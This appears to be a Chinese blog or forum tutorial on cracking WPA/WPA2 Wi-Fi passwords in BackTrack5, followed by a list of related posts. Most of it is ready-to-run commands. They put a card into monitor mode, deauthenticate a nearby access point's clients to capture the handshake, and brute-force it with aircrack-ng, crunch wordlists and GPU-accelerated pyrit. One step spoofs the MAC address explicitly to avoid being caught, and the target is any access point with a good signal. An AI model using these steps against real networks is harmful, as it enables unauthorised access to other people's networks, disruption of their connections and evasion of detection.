BackTrack5 (BT5) 无线wpa密码破解教程 gerix
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/
字典代替方案
http://sourceforge.net/projects/ ... es/crunch-wordlist/
Download crunch 3.0 (the current version at the time of this writing).
http://sourceforge.net/projects/ ... ch-3.0.tgz/download
tar -xvzf crunch-3.0.tgz
cd crunch-3.0
make
make install
/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | aircrack-ng wpacrack-01.ivs -b ff:ff:ff:ff:ff:ff -w -
*where 8 16 is the length of the password, i.e. from 8 characters to 16 characters.
gerix-wifi-caracker-ng
昨天发布了BackTrack5 (BT5)无线wep密码破解教程之minidwep-gtk破解法一文,对BT5下破解wep无线密码的简单方法做了介绍,今天奶牛为朋友们介绍下如何在bt5下破解wpa wpa2类型的无线密码。
前提:安装或者硬盘引导了BT5的gnome32位镜像,可以参看奶牛的文章BackTrack5硬盘引导+BT5硬盘安装全教程
虽然人们都说wpa的密码难破解,其实,嗯,确实是这样子,不仅仅靠技术,还要靠运气,这里就要用到一个强大的字典咯,木有一个好字典,破解密码灰常困难的说。好了,不卖关子了,说方法:
1.打开BT5的Wicd network manager,在application下的internet中。选择一个新号较好的AP(那样子用起来才爽嘛)。然后看它的properties,打开properties以后继续打开里面的属性看看这个AP的mac地址跟channel。
2.ifconfig看看自己的无线网卡的名称,一般是wlan0或者wifi0,后文中根据实际情况执行命令。
3.开启无线监控
airmon-ng start wlan0 6
注:wlan0为你的无线设备名称 6为你要开启的信道(但是这里的6其实并没有那么重要的说)
这一步你可能会看到提示有XXXX XXXX进程影响,没关系,kill XXX XXX XXX为给出的进程号,然后重新执行上句直到不报错
4.因为我们已经选择好了目标,我们就直奔目标AP,开始用BT5对其进行监控
airodump-ng -w nenew -c 4 --bssid AP‘s MAC mon0
这时候你应该可以看到如下图示:
5.根据上图,我们可以找到四个Client客户端的MAC地址,从里面随便选个(最好选择活跃点儿的)。打开一个新的终端,上一个终端不要关闭,后面还需要用到。在新终端中输入:
aireplay-ng -0 10 -a AP’s MAC -c CP’s MAC mon0
执行一次看第一个终端中是否出现了下图所示的标志WAP Handshake 。如果出现了,那么恭喜,你离成功已经不远了。如果没有出现就继续重复5的命令就ok了,直到出现握手。
6.对BT5握手抓到的包进行破解工作
aircrack-ng -w password.txt -b AP’s MAC nenew.cap
其中的password.txt为我们需要预置的字典文件,字典文件网上很多,搜搜就有了。奶牛也会放出自己的一些字典文件提供下载,继续关注咯。最后上成果图
本文只做技术讨论,不要用于非法用途,否则后果自负。
本帖最后由 ahllahll 于 2013-1-15 17:41 编辑
HOWTO : WPA/WPA2 cracking with Back|Track 5 (A) General Display card Step 1 : airmon-ng 网卡配置 The result will be something like : Interface Chipset Driver Step 2 : airmon-ng start wlan0 打开新的网卡端口 Step 3 (Optional) : Change the mac address of the mon0 interface. ifconfig mon0 down 改变端口mac地址 以防万一被抓 Step 4 : airodump-ng mon0 Then, press "Ctrl+c" to break the program. Step 5 : airodump-ng -c 3 -w wpacrack --bssid ff:ff:ff:ff:ff:ff --ivs mon0 保存date 数据包 *where -c is the channel This terminal is keeping running. Step 6 : open another terminal. Wait for the handshake. Step 7 : Use the John the Ripper as word list to crack the WPA/WP2 password. aircrack-ng -w /pentest/passwords/john/password.lst wpacrack-01.ivs If you do not want to use John the Ripper as word list, you can use Crunch. Go to the official site of crunch. 字典代替方案 Download crunch 3.0 (the current version at the time of this writing). tar -xvzf crunch-3.0.tgz /pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | aircrack-ng wpacrack-01.ivs -b ff:ff:ff:ff:ff:ff -w - *where 8 16 is the length of the password, i.e. from 8 characters to 16 characters. (B) nVidia Display Card with CUDA //重点 gpu 下的破解 cuda........... 需要nvidia显卡 If you have nVidia card that with CUDA, you can use pyrit to crack the password with crunch. Step a : airmon-ng The result will be something like : Interface Chipset Driver Step b : airmon-ng start wlan0 Step c (Optional) : Change the mac address of the mon0 interface. ifconfig mon0 down Step d : airodump-ng mon0 Then, press "Ctrl+c" to break the program. Step e : airodump-ng -c 3 -w wpacrack --bssid ff:ff:ff:ff:ff:ff mon0 Step f : open another terminal. aireplay-ng -0 1 -a ff:ff:ff:ff:ff:ff -c 99:88:77:66:55:44 mon0 *where -a is the BSSID Wait for the handshake. Step g : If the following programs are not yet installed, please do it. apt-get install libghc6-zlib-dev libssl-dev python-dev libpcap-dev python-scapy Step h : Go to the official site of crunch. Download crunch 3.0 (the current version at the time of this writing). tar -xvzf crunch-3.0.tgz Step i : Go to the official site of pyrit. 注 pyrit cuda的命令包 Download pyrit and cpyrit-cuda (the current version is 0.4.0 at the time of this writing). linux系统下的安装 tar -xzvf pyrit-0.4.0.tar.gz tar -xzvf cpyrit-cuda-0.4.0.tar.gz Step j : 配置字典和pyrit /pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | pyrit --all-handshakes -r wpacrack-01.cap -b ff:ff:ff:ff:ff:ff -i - attack_passthrough *where 8 16 is the length of the password, i.e. from 8 characters to 16 characters. Step k (Optional) : If you encounter error when reading the wpacrack-01.cap, you should do the following step. pyrit -r wpacrack-01.cap -o new.cap stripLive /pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | pyrit --all-handshakes -r new.cap -b ff:ff:ff:ff:ff:ff -i - attack_passthrough *where 8 16 is the length of the password, i.e. from 8 characters to 16 characters. Step l : Then, you will see something similar to the following. Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com Parsing file 'new.cap' (1/1)... Tried 17960898 PMKs so far; 17504 PMKs per second. Remarks : If you have an nVidia GeForce GTX460 (336 CUDA cores), the speed of cracking is about 17,000 passwords per second. To test if your wireless card (either USB or PCI-e) can do the injection or not : airodump-ng mon0 Make sure pyrit workable on your system : pyrit list_cores That's all! See you. |
BackTrack5 (BT5) 无线wpa密码破解教程 gerix相关推荐
- BackTrack5 (BT5)无线password破解教程之WPA/WPA2-PSK型无线password破解
昨天公布了BackTrack5 (BT5)无线weppassword破解教程之minidwep-gtk破解法一文,对BT5下破解wep无线password的简单方法做了介绍,今天奶牛为朋友们介绍下怎样 ...
- 用BT3破解无线网络密码的教程以及如何制作U盘版和光盘版BT3
用BT3破解无线网络密码的教程以及如何制作U盘版BT3 招:论坛版主 新建 文本文档.rar (1 K) 下载次数:81 一分钟制作 BT3 U盘版 方便,快捷简单 光盘版BT3, 大概694MB, ...
- 无线网络密码破解傻瓜图文教程
本无线网络密码破解傻瓜图文教程只做技术交流之用,提醒各位注意无线网络安全性,请勿用于其他用途,否则后果自负. 前言:面对电脑搜索到的无线网络信号,你是否怦然心动?但看到一个个启用安全的无线网络你 ...
- w7无线网络密码破解
w7无线网络密码破解 w7无线网络密码破解大家好,有需要或想要学解wifi密 码可以加我的扣扣是1029681082 有需要或想要学习破解wifi密码可以加我扣扣,懂的不多破解个密码是搓搓有 ...
- 无线网络密码破解WPA/WPA2教程(包教包会)
在动手破解WPA/WPA2前,应该先了解一下基础知识,本文适合新手阅读 首先大家要明白一种数学运算,它叫做哈希算法(hash),这是一种不可逆运算,你不能通过运算结果来求解出原来的未知数是多少,有时 ...
- 无线安全密码破解(1)
无线网卡的选择 选择依据: 驱动程序是选择无线网卡的主要依据. 在破解WiFi的过程中,需要操作系统.网 络设备无缝合作,操作系统对于无线网卡 的支持程度和兼容性就显得特别重要.在这里,推荐使用Ath ...
- 在线密码破解教程,web登录爆破(hydra的简单使用)
hydra是一个极其强大的在线破解密码的工具(爆破神器) --本文献给无聊的计算机系大学生们 密码破解从大类来分可以分为两种,一种是在线破解,这种方hydra式一般要求待破解的对象对我们来说是可以正常 ...
- 实战:无线wifi密码破解与路由器入侵
工作之余,闲来无事,搞搞事情,不搞不知道,一搞还真搞了些东西,企业安全......呵呵! 由于之前一直在做路由器项目,今天来看看周围的WiFi是否安全,开启我的Kali,插上USB无线网卡,目测我的网 ...
- WPA-PSK无线网络密码破解原理
1.基于WPA2的加密标准还是能够被破解,一个弊端是他无法避开时候双方验证的模式来认证取得合法性的连接,当我们抓取足够多得双反认证的数据包之后就可以破解密码.之前很多片的博客写了如何破解这种加密的秘钥 ...
- 从零开始,教你如何破解WEP、WPA无线网络 密码
近些年无线技术发展迅速,越来越多的用户开始使用无线网络,最近新搬到一小区没有安装网络,后面想到以前出差时在机场用过无线网络,小区内是否也有无线网络呢?随便一搜,果然有几个无线网络信号,于是打起了免费蹭 ...
最新文章
- python怎么安装pandas模块-windows下如何安装Python、pandas
- 【五校联考3day2】B
- 本周耐撕团队个人总结
- OpenShift Security (6) - 用网络图可视化网络访问策略
- 根据varchar排列是怎么比大小的_骨架大小怎么看?肩宽、胸腔宽、胯宽是关键,加码大骨架穿搭技巧...
- 如果你现在很穷,很苦,不要苦恼
- auto_ptr个人用
- 事件分发机制 事件拦截 滑动冲突 MD
- Docker使用Dockerfile创建Centos(tomcat+jdk)镜像
- 《剑指offer》面试题16——反转链表(C++)
- Linux的匿名访问Samba
- Java final关键字详解
- ECharts 前端数据可视化
- 做问卷调查最基本的注意事项
- VMware Workstation创建Windows 8.1虚拟机
- mysql中将大写日期转为小写日期
- 英语3500词(16/20)trade主题(2022.1.28)
- 【商业数据分析】—— 用户价值RFM模型详解(小仙女搬运工)
- C语言输入年份显示日历,输入年份并输出当年的日历
- 吴恩达深度学习课程值不值得学?四晚学完的高手给你建议